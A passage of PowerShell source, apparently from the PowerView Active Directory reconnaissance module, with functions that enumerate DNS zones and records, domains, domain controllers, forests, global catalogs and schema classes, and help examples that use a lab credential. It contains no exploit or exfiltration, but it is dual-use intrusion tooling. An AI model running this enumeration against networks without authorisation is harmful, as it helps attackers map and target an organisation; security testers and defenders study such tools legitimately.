properly? nested object? 3670 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) 3671 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' 3672 } 3673 3674 elseif ($RDataType -eq 16) { 3675 [string]$TXT = '' 3676 [int]$SegmentLength = $DNSRecord[24] 3677 $Index = 25 3678 3679 while ($SegmentLength-- -gt 0) { 3680 $TXT += [char]$DNSRecord[$index++] 3681 } 3682 3683 $Data = $TXT 3684 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' 3685 } 3686 3687 elseif ($RDataType -eq 28) { 3688 # TODO: how to implement properly? nested object? 3689 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) 3690 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' 3691 } 3692 3693 elseif ($RDataType -eq 33) { 3694 # TODO: how to implement properly? nested object? 3695 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) 3696 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' 3697 } 3698 3699 else { 3700 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) 3701 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' 3702 } 3703 3704 $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial 3705 $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL 3706 $DNSRecordObject | Add-Member Noteproperty 'Age' $Age 3707 $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp 3708 $DNSRecordObject | Add-Member Noteproperty 'Data' $Data 3709 $DNSRecordObject 3710 } 3711 } 3712 3713 3714 function Get-DomainDNSZone { 3715 <# 3716 .SYNOPSIS 3717 3718 Enumerates the Active Directory DNS zones for a given domain. 3719 3720 Author: Will Schroeder (@harmj0y) 3721 License: BSD 3-Clause 3722 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty 3723 3724 .PARAMETER Domain 3725 3726 The domain to query for zones, defaults to the current domain. 3727 3728 .PARAMETER Server 3729 3730 Specifies an Active Directory server (domain controller) to bind to for the search. 3731 3732 .PARAMETER Properties 3733 3734 Specifies the properties of the output object to retrieve from the server. 3735 3736 .PARAMETER ResultPageSize 3737 3738 Specifies the PageSize to set for the LDAP searcher object. 3739 3740 .PARAMETER ServerTimeLimit 3741 3742 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 3743 3744 .PARAMETER FindOne 3745 3746 Only return one result object. 3747 3748 .PARAMETER Credential 3749 3750 A [Management.Automation.PSCredential] object of alternate credentials 3751 for connection to the target domain. 3752 3753 .EXAMPLE 3754 3755 Get-DomainDNSZone 3756 3757 Retrieves the DNS zones for the current domain. 3758 3759 .EXAMPLE 3760 3761 Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local 3762 3763 Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. 3764 3765 .OUTPUTS 3766 3767 PowerView.DNSZone 3768 3769 Outputs custom PSObjects with detailed information about the DNS zone. 3770 #> 3771 3772 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 3773 [OutputType('PowerView.DNSZone')] 3774 [CmdletBinding()] 3775 Param( 3776 [Parameter(Position = 0, ValueFromPipeline = $True)] 3777 [ValidateNotNullOrEmpty()] 3778 [String] 3779 $Domain, 3780 3781 [ValidateNotNullOrEmpty()] 3782 [Alias('DomainController')] 3783 [String] 3784 $Server, 3785 3786 [ValidateNotNullOrEmpty()] 3787 [String[]] 3788 $Properties, 3789 3790 [ValidateRange(1, 10000)] 3791 [Int] 3792 $ResultPageSize = 200, 3793 3794 [ValidateRange(1, 10000)] 3795 [Int] 3796 $ServerTimeLimit, 3797 3798 [Alias('ReturnOne')] 3799 [Switch] 3800 $FindOne, 3801 3802 [Management.Automation.PSCredential] 3803 [Management.Automation.CredentialAttribute()] 3804 $Credential = [Management.Automation.PSCredential]::Empty 3805 ) 3806 3807 PROCESS { 3808 $SearcherArguments = @{ 3809 'LDAPFilter' = '(objectClass=dnsZone)' 3810 } 3811 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 3812 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 3813 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 3814 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 3815 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 3816 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 3817 $DNSSearcher1 = Get-DomainSearcher @SearcherArguments 3818 3819 if ($DNSSearcher1) { 3820 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } 3821 else { $Results = $DNSSearcher1.FindAll() } 3822 $Results | Where-Object {$_} | ForEach-Object { 3823 $Out = Convert-LDAPProperty -Properties $_.Properties 3824 $Out | Add-Member NoteProperty 'ZoneName' $Out.name 3825 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') 3826 $Out 3827 } 3828 3829 if ($Results) { 3830 try { $Results.dispose() } 3831 catch { 3832 Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" 3833 } 3834 } 3835 $DNSSearcher1.dispose() 3836 } 3837 3838 $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' 3839 $DNSSearcher2 = Get-DomainSearcher @SearcherArguments 3840 3841 if ($DNSSearcher2) { 3842 try { 3843 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } 3844 else { $Results = $DNSSearcher2.FindAll() } 3845 $Results | Where-Object {$_} | ForEach-Object { 3846 $Out = Convert-LDAPProperty -Properties $_.Properties 3847 $Out | Add-Member NoteProperty 'ZoneName' $Out.name 3848 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') 3849 $Out 3850 } 3851 if ($Results) { 3852 try { $Results.dispose() } 3853 catch { 3854 Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" 3855 } 3856 } 3857 } 3858 catch { 3859 Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" 3860 } 3861 $DNSSearcher2.dispose() 3862 } 3863 } 3864 } 3865 3866 3867 function Get-DomainDNSRecord { 3868 <# 3869 .SYNOPSIS 3870 3871 Enumerates the Active Directory DNS records for a given zone. 3872 3873 Author: Will Schroeder (@harmj0y) 3874 License: BSD 3-Clause 3875 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord 3876 3877 .DESCRIPTION 3878 3879 Given a specific Active Directory DNS zone name, query for all 'dnsNode' 3880 LDAP entries using that zone as the search base. Return all DNS entry results 3881 and use Convert-DNSRecord to try to convert the binary DNS record blobs. 3882 3883 .PARAMETER ZoneName 3884 3885 Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). 3886 3887 .PARAMETER Domain 3888 3889 The domain to query for zones, defaults to the current domain. 3890 3891 .PARAMETER Server 3892 3893 Specifies an Active Directory server (domain controller) to bind to for the search. 3894 3895 .PARAMETER Properties 3896 3897 Specifies the properties of the output object to retrieve from the server. 3898 3899 .PARAMETER ResultPageSize 3900 3901 Specifies the PageSize to set for the LDAP searcher object. 3902 3903 .PARAMETER ServerTimeLimit 3904 3905 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 3906 3907 .PARAMETER FindOne 3908 3909 Only return one result object. 3910 3911 .PARAMETER Credential 3912 3913 A [Management.Automation.PSCredential] object of alternate credentials 3914 for connection to the target domain. 3915 3916 .EXAMPLE 3917 3918 Get-DomainDNSRecord -ZoneName testlab.local 3919 3920 Retrieve all records for the testlab.local zone. 3921 3922 .EXAMPLE 3923 3924 Get-DomainDNSZone | Get-DomainDNSRecord 3925 3926 Retrieve all records for all zones in the current domain. 3927 3928 .EXAMPLE 3929 3930 Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local 3931 3932 Retrieve all records for all zones in the dev.testlab.local domain. 3933 3934 .OUTPUTS 3935 3936 PowerView.DNSRecord 3937 3938 Outputs custom PSObjects with detailed information about the DNS record entry. 3939 #> 3940 3941 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 3942 [OutputType('PowerView.DNSRecord')] 3943 [CmdletBinding()] 3944 Param( 3945 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 3946 [ValidateNotNullOrEmpty()] 3947 [String] 3948 $ZoneName, 3949 3950 [ValidateNotNullOrEmpty()] 3951 [String] 3952 $Domain, 3953 3954 [ValidateNotNullOrEmpty()] 3955 [Alias('DomainController')] 3956 [String] 3957 $Server, 3958 3959 [ValidateNotNullOrEmpty()] 3960 [String[]] 3961 $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', 3962 3963 [ValidateRange(1, 10000)] 3964 [Int] 3965 $ResultPageSize = 200, 3966 3967 [ValidateRange(1, 10000)] 3968 [Int] 3969 $ServerTimeLimit, 3970 3971 [Alias('ReturnOne')] 3972 [Switch] 3973 $FindOne, 3974 3975 [Management.Automation.PSCredential] 3976 [Management.Automation.CredentialAttribute()] 3977 $Credential = [Management.Automation.PSCredential]::Empty 3978 ) 3979 3980 PROCESS { 3981 $SearcherArguments = @{ 3982 'LDAPFilter' = '(objectClass=dnsNode)' 3983 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" 3984 } 3985 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 3986 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 3987 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 3988 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 3989 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 3990 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 3991 $DNSSearcher = Get-DomainSearcher @SearcherArguments 3992 3993 if ($DNSSearcher) { 3994 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } 3995 else { $Results = $DNSSearcher.FindAll() } 3996 $Results | Where-Object {$_} | ForEach-Object { 3997 try { 3998 $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged 3999 $Out | Add-Member NoteProperty 'ZoneName' $ZoneName 4000 4001 # convert the record and extract the properties 4002 if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { 4003 # TODO: handle multiple nested records properly? 4004 $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] 4005 } 4006 else { 4007 $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord 4008 } 4009 4010 if ($Record) { 4011 $Record.PSObject.Properties | ForEach-Object { 4012 $Out | Add-Member NoteProperty $_.Name $_.Value 4013 } 4014 } 4015 4016 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') 4017 $Out 4018 } 4019 catch { 4020 Write-Warning "[Get-DomainDNSRecord] Error: $_" 4021 $Out 4022 } 4023 } 4024 4025 if ($Results) { 4026 try { $Results.dispose() } 4027 catch { 4028 Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" 4029 } 4030 } 4031 $DNSSearcher.dispose() 4032 } 4033 } 4034 } 4035 4036 4037 function Get-Domain { 4038 <# 4039 .SYNOPSIS 4040 4041 Returns the domain object for the current (or specified) domain. 4042 4043 Author: Will Schroeder (@harmj0y) 4044 License: BSD 3-Clause 4045 Required Dependencies: None 4046 4047 .DESCRIPTION 4048 4049 Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current 4050 domain or the domain specified with -Domain X. 4051 4052 .PARAMETER Domain 4053 4054 Specifies the domain name to query for, defaults to the current domain. 4055 4056 .PARAMETER Credential 4057 4058 A [Management.Automation.PSCredential] object of alternate credentials 4059 for connection to the target domain. 4060 4061 .EXAMPLE 4062 4063 Get-Domain -Domain testlab.local 4064 4065 .EXAMPLE 4066 4067 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 4068 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 4069 Get-Domain -Credential $Cred 4070 4071 .OUTPUTS 4072 4073 System.DirectoryServices.ActiveDirectory.Domain 4074 4075 A complex .NET domain object. 4076 4077 .LINK 4078 4079 http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG 4080 #> 4081 4082 [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] 4083 [CmdletBinding()] 4084 Param( 4085 [Parameter(Position = 0, ValueFromPipeline = $True)] 4086 [ValidateNotNullOrEmpty()] 4087 [String] 4088 $Domain, 4089 4090 [Management.Automation.PSCredential] 4091 [Management.Automation.CredentialAttribute()] 4092 $Credential = [Management.Automation.PSCredential]::Empty 4093 ) 4094 4095 PROCESS { 4096 if ($PSBoundParameters['Credential']) { 4097 4098 Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' 4099 4100 if ($PSBoundParameters['Domain']) { 4101 $TargetDomain = $Domain 4102 } 4103 else { 4104 # if no domain is supplied, extract the logon domain from the PSCredential passed 4105 $TargetDomain = $Credential.GetNetworkCredential().Domain 4106 Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" 4107 } 4108 4109 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) 4110 4111 try { 4112 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 4113 } 4114 catch { 4115 Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" 4116 } 4117 } 4118 elseif ($PSBoundParameters['Domain']) { 4119 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) 4120 try { 4121 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 4122 } 4123 catch { 4124 Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" 4125 } 4126 } 4127 else { 4128 try { 4129 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 4130 } 4131 catch { 4132 Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" 4133 } 4134 } 4135 } 4136 } 4137 4138 4139 function Get-DomainController { 4140 <# 4141 .SYNOPSIS 4142 4143 Return the domain controllers for the current (or specified) domain. 4144 4145 Author: Will Schroeder (@harmj0y) 4146 License: BSD 3-Clause 4147 Required Dependencies: Get-DomainComputer, Get-Domain 4148 4149 .DESCRIPTION 4150 4151 Enumerates the domain controllers for the current or specified domain. 4152 By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer 4153 to search for domain controllers. 4154 4155 .PARAMETER Domain 4156 4157 The domain to query for domain controllers, defaults to the current domain. 4158 4159 .PARAMETER Server 4160 4161 Specifies an Active Directory server (domain controller) to bind to. 4162 4163 .PARAMETER LDAP 4164 4165 Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. 4166 4167 .PARAMETER Credential 4168 4169 A [Management.Automation.PSCredential] object of alternate credentials 4170 for connection to the target domain. 4171 4172 .EXAMPLE 4173 4174 Get-DomainController -Domain 'test.local' 4175 4176 Determine the domain controllers for 'test.local'. 4177 4178 .EXAMPLE 4179 4180 Get-DomainController -Domain 'test.local' -LDAP 4181 4182 Determine the domain controllers for 'test.local' using LDAP queries. 4183 4184 .EXAMPLE 4185 4186 'test.local' | Get-DomainController 4187 4188 Determine the domain controllers for 'test.local'. 4189 4190 .EXAMPLE 4191 4192 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 4193 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 4194 Get-DomainController -Credential $Cred 4195 4196 .OUTPUTS 4197 4198 PowerView.Computer 4199 4200 Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. 4201 4202 System.DirectoryServices.ActiveDirectory.DomainController 4203 4204 If -LDAP isn't specified. 4205 #> 4206 4207 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 4208 [OutputType('PowerView.Computer')] 4209 [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] 4210 [CmdletBinding()] 4211 Param( 4212 [Parameter(Position = 0, ValueFromPipeline = $True)] 4213 [String] 4214 $Domain, 4215 4216 [ValidateNotNullOrEmpty()] 4217 [Alias('DomainController')] 4218 [String] 4219 $Server, 4220 4221 [Switch] 4222 $LDAP, 4223 4224 [Management.Automation.PSCredential] 4225 [Management.Automation.CredentialAttribute()] 4226 $Credential = [Management.Automation.PSCredential]::Empty 4227 ) 4228 4229 PROCESS { 4230 $Arguments = @{} 4231 if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } 4232 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } 4233 4234 if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { 4235 if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } 4236 4237 # UAC specification for domain controllers 4238 $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' 4239 4240 Get-DomainComputer @Arguments 4241 } 4242 else { 4243 $FoundDomain = Get-Domain @Arguments 4244 if ($FoundDomain) { 4245 $FoundDomain.DomainControllers 4246 } 4247 } 4248 } 4249 } 4250 4251 4252 function Get-Forest { 4253 <# 4254 .SYNOPSIS 4255 4256 Returns the forest object for the current (or specified) forest. 4257 4258 Author: Will Schroeder (@harmj0y) 4259 License: BSD 3-Clause 4260 Required Dependencies: ConvertTo-SID 4261 4262 .DESCRIPTION 4263 4264 Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current 4265 forest or the forest specified with -Forest X. 4266 4267 .PARAMETER Forest 4268 4269 The forest name to query for, defaults to the current forest. 4270 4271 .PARAMETER Credential 4272 4273 A [Management.Automation.PSCredential] object of alternate credentials 4274 for connection to the target forest. 4275 4276 .EXAMPLE 4277 4278 Get-Forest -Forest external.domain 4279 4280 .EXAMPLE 4281 4282 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 4283 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 4284 Get-Forest -Credential $Cred 4285 4286 .OUTPUTS 4287 4288 System.Management.Automation.PSCustomObject 4289 4290 Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition 4291 to the forest root domain SID. 4292 #> 4293 4294 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 4295 [OutputType('System.Management.Automation.PSCustomObject')] 4296 [CmdletBinding()] 4297 Param( 4298 [Parameter(Position = 0, ValueFromPipeline = $True)] 4299 [ValidateNotNullOrEmpty()] 4300 [String] 4301 $Forest, 4302 4303 [Management.Automation.PSCredential] 4304 [Management.Automation.CredentialAttribute()] 4305 $Credential = [Management.Automation.PSCredential]::Empty 4306 ) 4307 4308 PROCESS { 4309 if ($PSBoundParameters['Credential']) { 4310 4311 Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" 4312 4313 if ($PSBoundParameters['Forest']) { 4314 $TargetForest = $Forest 4315 } 4316 else { 4317 # if no domain is supplied, extract the logon domain from the PSCredential passed 4318 $TargetForest = $Credential.GetNetworkCredential().Domain 4319 Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" 4320 } 4321 4322 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) 4323 4324 try { 4325 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) 4326 } 4327 catch { 4328 Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" 4329 $Null 4330 } 4331 } 4332 elseif ($PSBoundParameters['Forest']) { 4333 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) 4334 try { 4335 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) 4336 } 4337 catch { 4338 Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" 4339 return $Null 4340 } 4341 } 4342 else { 4343 # otherwise use the current forest 4344 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 4345 } 4346 4347 if ($ForestObject) { 4348 # get the SID of the forest root 4349 if ($PSBoundParameters['Credential']) { 4350 $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid 4351 } 4352 else { 4353 $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid 4354 } 4355 4356 $Parts = $ForestSid -Split '-' 4357 $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' 4358 $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid 4359 $ForestObject 4360 } 4361 } 4362 } 4363 4364 4365 function Get-ForestDomain { 4366 <# 4367 .SYNOPSIS 4368 4369 Return all domains for the current (or specified) forest. 4370 4371 Author: Will Schroeder (@harmj0y) 4372 License: BSD 3-Clause 4373 Required Dependencies: Get-Forest 4374 4375 .DESCRIPTION 4376 4377 Returns all domains for the current forest or the forest specified 4378 by -Forest X. 4379 4380 .PARAMETER Forest 4381 4382 Specifies the forest name to query for domains. 4383 4384 .PARAMETER Credential 4385 4386 A [Management.Automation.PSCredential] object of alternate credentials 4387 for connection to the target forest. 4388 4389 .EXAMPLE 4390 4391 Get-ForestDomain 4392 4393 .EXAMPLE 4394 4395 Get-ForestDomain -Forest external.local 4396 4397 .EXAMPLE 4398 4399 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 4400 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 4401 Get-ForestDomain -Credential $Cred 4402 4403 .OUTPUTS 4404 4405 System.DirectoryServices.ActiveDirectory.Domain 4406 #> 4407 4408 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 4409 [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] 4410 [CmdletBinding()] 4411 Param( 4412 [Parameter(Position = 0, ValueFromPipeline = $True)] 4413 [ValidateNotNullOrEmpty()] 4414 [String] 4415 $Forest, 4416 4417 [Management.Automation.PSCredential] 4418 [Management.Automation.CredentialAttribute()] 4419 $Credential = [Management.Automation.PSCredential]::Empty 4420 ) 4421 4422 PROCESS { 4423 $Arguments = @{} 4424 if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } 4425 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } 4426 4427 $ForestObject = Get-Forest @Arguments 4428 if ($ForestObject) { 4429 $ForestObject.Domains 4430 } 4431 } 4432 } 4433 4434 4435 function Get-ForestGlobalCatalog { 4436 <# 4437 .SYNOPSIS 4438 4439 Return all global catalogs for the current (or specified) forest. 4440 4441 Author: Will Schroeder (@harmj0y) 4442 License: BSD 3-Clause 4443 Required Dependencies: Get-Forest 4444 4445 .DESCRIPTION 4446 4447 Returns all global catalogs for the current forest or the forest specified 4448 by -Forest X by using Get-Forest to retrieve the specified forest object 4449 and the .FindAllGlobalCatalogs() to enumerate the global catalogs. 4450 4451 .PARAMETER Forest 4452 4453 Specifies the forest name to query for global catalogs. 4454 4455 .PARAMETER Credential 4456 4457 A [Management.Automation.PSCredential] object of alternate credentials 4458 for connection to the target domain. 4459 4460 .EXAMPLE 4461 4462 Get-ForestGlobalCatalog 4463 4464 .EXAMPLE 4465 4466 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 4467 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 4468 Get-ForestGlobalCatalog -Credential $Cred 4469 4470 .OUTPUTS 4471 4472 System.DirectoryServices.ActiveDirectory.GlobalCatalog 4473 #> 4474 4475 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 4476 [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] 4477 [CmdletBinding()] 4478 Param( 4479 [Parameter(Position = 0, ValueFromPipeline = $True)] 4480 [ValidateNotNullOrEmpty()] 4481 [String] 4482 $Forest, 4483 4484 [Management.Automation.PSCredential] 4485 [Management.Automation.CredentialAttribute()] 4486 $Credential = [Management.Automation.PSCredential]::Empty 4487 ) 4488 4489 PROCESS { 4490 $Arguments = @{} 4491 if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } 4492 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } 4493 4494 $ForestObject = Get-Forest @Arguments 4495 4496 if ($ForestObject) { 4497 $ForestObject.FindAllGlobalCatalogs() 4498 } 4499 } 4500 } 4501 4502 4503 function Get-ForestSchemaClass { 4504 <# 4505 .SYNOPSIS 4506 4507 Helper that returns the Active Directory schema classes for the current 4508 (or specified) forest or returns just the schema class specified by 4509 -ClassName X. 4510 4511 Author: Will Schroeder (@harmj0y) 4512 License: BSD 3-Clause 4513 Required Dependencies: Get-Forest 4514 4515 .DESCRIPTION 4516 4517 Uses Get-Forest to retrieve the current (or specified) forest. By default, 4518 the .FindAllClasses() method is executed, returning a collection of 4519 [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. 4520 If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] 4521 result for the specified class name is returned. 4522 4523 .PARAMETER ClassName 4524 4525 Specifies a ActiveDirectorySchemaClass name in the found schema to return. 4526 4527 .PARAMETER Forest 4528 4529 The forest to query for the schema, defaults to the current forest. 4530 4531 .PARAMETER Credential 4532 4533 A [Management.Automation.PSCredential] object of alternate credentials 4534 for connection to the target domain. 4535 4536 .EXAMPLE 4537 4538 Get-ForestSchemaClass 4539 4540 Returns all domain schema classes for the current forest. 4541 4542 .EXAMPLE 4543 4544 Get-ForestSchemaClass -Forest dev.testlab.local 4545 4546 Returns all domain schema classes for the external.local forest. 4547 4548 .EXAMPLE 4549 4550 Get-ForestSchemaClass -ClassName user -Forest external.local 4551 4552 Returns the user schema class for the external.local domain. 4553 4554 .EXAMPLE 4555 4556 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 4557 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 4558 Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred 4559 4560 Returns the user schema class for the external.local domain using 4561 the specified alternate credentials. 4562 4563 .OUTPUTS 4564 4565 [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] 4566 4567 An ActiveDirectorySchemaClass returned from the found schema. 4568 #> 4569 4570 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 4571 [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] 4572 [CmdletBinding()] 4573 Param( 4574 [Parameter(Position = 0, ValueFromPipeline = $True)] 4575 [Alias('Class')] 4576 [ValidateNotNullOrEmpty()] 4577 [String[]] 4578 $ClassName, 4579 4580 [Alias('Name')] 4581 [ValidateNotNullOrEmpty()] 4582 [String] 4583 $Forest, 4584 4585 [Management.Automation.PSCredential] 4586 [Management.Automation.CredentialAttribute()] 4587 $Credential = [Management.Automation.PSCredential]::Empty 4588 ) 4589 4590 PROCESS { 4591 $Arguments = @{} 4592 if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } 4593 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } 4594 4595 $ForestObject = Get-Forest @Arguments 4596 4597 if ($ForestObject) { 4598 if ($PSBoundParameters['ClassName']) { 4599 ForEach ($TargetClass in $ClassName) { 4600 $ForestObject.Schema.FindClass($TargetClass) 4601 } 4602 } 4603 else { 4604 $ForestObject.Schema.FindAllClasses() 4605 } 4606 } 4607 } 4608 } 4609 4610 4611 function Find-DomainObjectPropertyOutlier { 4612 <# 4613 .SYNOPSIS 4614 4615 Finds user/group/computer objects in AD that have 'outlier' properties set. 4616 4617 Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) 4618 License: BSD 3-Clause 4619 Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer 4620 4621 .DESCRIPTION 4622 4623 A 'reference' set of property names is calculated, either from a standard set preserved 4624 for user/group/computers, or from the array of names passed to -ReferencePropertySet, or 4625 from the property names of the passed -ReferenceObject. Every user/group/computer object 4626 (depending on determined class) are enumerated, and for each object, if the object has a 4627 'non-standard' property set (meaning a property not held by the reference set), the object's 4628 samAccountName, property name, and property value are output to the pipeline. 4629 4630 .PARAMETER ClassName 4631 4632 Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. 4633 If -ReferenceObject is specified, this will be automatically extracted, if possible. 4634 4635 .PARAMETER ReferencePropertySet 4636 4637 Specifies an array of property names to diff against the class schema. 4638 4639 .PARAMETER ReferenceObject 4640 4641 Specicifes the PowerView user/group/computer object to extract property names 4642 from to use as the reference set. 4643 4644 .PARAMETER Domain 4645 4646 Specifies the 